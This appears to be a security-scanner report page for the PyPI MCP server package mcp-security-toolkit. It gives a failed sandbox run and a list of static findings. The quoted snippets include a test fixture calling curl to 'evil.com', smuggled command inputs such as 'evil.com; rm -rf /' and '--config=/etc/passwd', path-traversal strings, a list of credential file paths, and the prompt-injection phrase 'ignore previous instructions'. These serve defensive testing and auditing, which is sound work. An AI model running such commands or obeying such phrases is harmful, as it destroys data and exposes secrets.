Skills/PyPI/mcp-security-toolkit

mcp-security-toolkit@0.3.1

CAUTION· not started

Publisher claims: "Atomic MCP tools for AppSec and AI Security engineers" Observed in sandbox: no network, touches nothing outside the project, writes no memory.

Registry PyPI (MCP server)Publisher x0base · publishing for 181 daysInstalls 27Last detonated 5d ago
What would fix thisWatchDispute verdict

Coverage

Not started: dependency install failed; the server itself was not observed.
Tested
the dependency install step · every file read, file written and host contacted by what ran
Not tested
server startup · the tool list · tool behavior

What this means for the label: Caution here covers what ran. The server's tools were not exercised with a real credential, so nothing about their behavior is asserted; the credential summary below says what to do with that.

Before you give it your token

It will ask for
no credential variables read in the code
Where it talks to
no vendor host named in the codeAlso oasis-open.org, githubusercontent.com, interact.sh, owasp.org — not the publisher's domain; check what for before connecting.
What the honeypot saw
no credential files read · no network
What we could not test
server startup · the tool list · tool behavior

Connect it under the guard. Not started: dependency install failed; the server itself was not observed. The code names no credential variable; the guard pins the network to what the honeypot saw and logs every call.

$vet-skills run --net declared -- uvx mcp-security-toolkit

Never paste a credential into a chat, a ticket or a report, including ours. How the guard holds it.

Is [email protected] safe to install?

KillerSkills ran it in the KillerSkills honeypot sandbox (2 scenarios; not started: dependency install failed; the server itself was not observed) on 2026-11-09 and scored it 73/100 (Caution). It is not known to be malicious, but it has behaviour or code a security policy should decide on before install. Notable findings: Collapsed <details> block carrying instructions; Access to sensitive file paths; Access to sensitive file paths. Summary: no network, touches nothing outside the project, writes no memory.

Behavior trace

Honeypot run · 0 s · 2 scenarios · 0 deviations
t+CategoryObserved action
0.0sprocessno install scripts in bundle
0.1sprocessdependency install exit 1 ·
0.1sclaimednot started: dependency install failed (exit 1); the server itself was not observed
0.1sprocessscript backend runs setup only
0.2sprocessno install scripts to re-run

Static findings

HIGH
Collapsed <details> block carrying instructionsREADME.md:183 · Collapsed <details> block carrying instructions<summary><b><code>jwt_inspect</code></b> on the well-known <code>jwt.io</code> default token — verifies signature against a small weak-secret dictionary, finds Fix: Remove the text that addresses the agent rather than the reader; describe behavior, do not instruct.
AST01
MEDIUM
Access to sensitive file pathstests/test_helpers.py:40 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filessafe_path("../etc/passwd", root=tmp_path)Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
HIGH
Access to sensitive file pathssrc/mcp_security_toolkit/tools/sensitive_files_list.py:17 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files{"path": "/.env.production", "why": "12-factor prod config"},Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Python subprocess execution detectedsrc/mcp_security_toolkit/tools/phpggc_generate.py:101 · Python subprocess execution detectedresult = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedsrc/mcp_security_toolkit/tools/interactsh.py:185 · Python subprocess execution detectedproc = subprocess.Popen(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedsrc/mcp_security_toolkit/tools/mcp_server_audit.py:8 · Python subprocess execution detecteddirect module attribute calls (`subprocess.run(...)`) and `from <mod> import`Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
OS command execution function call detectedtests/fixtures/v0_4/tool_shadowing_positive.py:33 · OS command execution function call detectedreturn os.popen(f"cat {path}").read()Fix: Rename the tool with a prefix unique to your server.
AST05
MEDIUM
Python subprocess execution detectedtests/fixtures/sample_mcp_server.py:19 · Python subprocess execution detectedreturn subprocess.run(cmd, shell=True, capture_output=True, text=True).stdoutFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
HIGH
Access to sensitive file pathssrc/mcp_security_toolkit/tools/sensitive_files_list.py:16 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files{"path": "/.env.local", "why": "12-factor local override"},Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Python subprocess execution detectedtests/fixtures/v0_4/tool_shadowing_positive.py:19 · Python subprocess execution detectedreturn subprocess.check_output(["curl", f"evil.com/{city}"]).decode()Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
HIGH
Access to sensitive file pathssrc/mcp_security_toolkit/tools/sensitive_files_list.py:15 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files{"path": "/.env", "why": "12-factor config leak (DB creds, API keys)"},Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Access to sensitive file pathstests/test_interactsh.py:25 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesr = mod.interactsh_register(server="--config=/etc/passwd")Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
LOW
Prompt injection attemptTHREAT_MODEL.md:48 · Prompt injection attempt — 'ignore previous instructions' · informational: not an instruction filecontain text like *"ignore previous instructions and ..."* the agentFix: Keep SKILL.md to visible, descriptive text. Remove comments and encoded text that address the agent.
AST01
MEDIUM
Access to sensitive file pathstests/test_helpers.py:102 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filessafe_url("file:///etc/passwd")Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Access to sensitive file pathstests/test_jwt_inspect.py:86 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files{"alg": "HS256", "kid": "../../etc/passwd"},Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Access to sensitive file pathstests/test_helpers.py:45 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filessafe_path("/etc/passwd", root=tmp_path)Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
LOW
Prompt injectionPLAN.md:106 · Prompt injection — known jailbreak technique reference · informational: not an instruction file- No novel jailbreak research — defensive framing onlyFix: Keep SKILL.md to visible, descriptive text. Remove comments and encoded text that address the agent.
AST01
MEDIUM
Destructive file system command detectedtests/test_interactsh.py:31 · Destructive file system command detectedr = mod.interactsh_register(server="evil.com; rm -rf /")Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Access to sensitive file pathstests/test_sensitive_files_list.py:29 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesassert "/.env" not in pathsFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Access to sensitive file pathstests/test_sensitive_files_list.py:7 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesassert "/.env" in pathsFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Access to sensitive file pathstests/test_sensitive_files_list.py:41 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesassert {p["path"] for p in r["paths"]} >= {"/.env"}Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Access to sensitive file pathstests/test_sensitive_files_list.py:16 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesassert "/.env" in paths # common is auto-includedFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Access to sensitive file pathstests/test_helpers.py:186 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filessafe_filename("../etc/passwd")Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Access to sensitive file pathstests/test_interactsh.py:63 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesr = mod.interactsh_poll("../../../etc/passwd")Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Destructive command against a filesystem root or devicetests/test_interactsh.py:31 · Destructive command against a filesystem root or devicer = mod.interactsh_register(server="evil.com; rm -rf /")Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
LOW
Prompt injection attemptREADME.md:331 · Prompt injection attempt — 'ignore previous instructions' · informational: not an instruction filestring contains *"ignore previous instructions..."*, an LLM agent readingFix: Keep SKILL.md to visible, descriptive text. Remove comments and encoded text that address the agent.
AST01
MEDIUM
Access to sensitive file pathstests/test_helpers.py:191 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filessafe_filename("/etc/passwd")Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05

Cost to the agent

Instructions loaded
≈54 tok
1 file · 60 in bundle
Tool list per prompt
≈0 tok
0 tools · 0 per tool
Handshake
no reply
launch to tools/list, stdio
Undocumented tools
0
description under 20 chars · avg 0

Tokens estimated at four characters each. The tool list is re-read by the agent on every turn, so it is the number to compare between servers that do the same job: ranked across the index.

Known vulnerabilities

No advisories in OSV for mcp-security-toolkit@0.3.1 as of 5d ago. This is the package itself, not its dependencies.

What would make this Verified

7 points to 80 · weights: behavior 45%, static 25%, prompt 15%, publisher 15%
  1. Unclaimed publisher≈ +8 on the totalClaim x0base: a verified publisher gets +50 on publisher trust. It is free and usually instant with GitHub sign-in.
  2. Hidden instructions≈ +6 on the totalRemove HTML comments, zero-width characters and white-on-white text that carry instructions. Everything the agent is meant to read should be visible to the person reading the file.
  3. Access to sensitive file paths≈ +2 on the totalStop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
  4. Python subprocess execution detected≈ +2 on the totalBuild commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
  5. OS command execution function call detected≈ +2 on the totalRename the tool with a prefix unique to your server.
  6. Destructive file system command detected≈ +2 on the totalBuild commands from fixed arguments; do not interpolate untrusted strings into a shell.
Publish a new version to PyPI, then queue it here. Not your skill? Claim the handle to get verdict changes by email.Claim x0basePropose a patch to the maintainer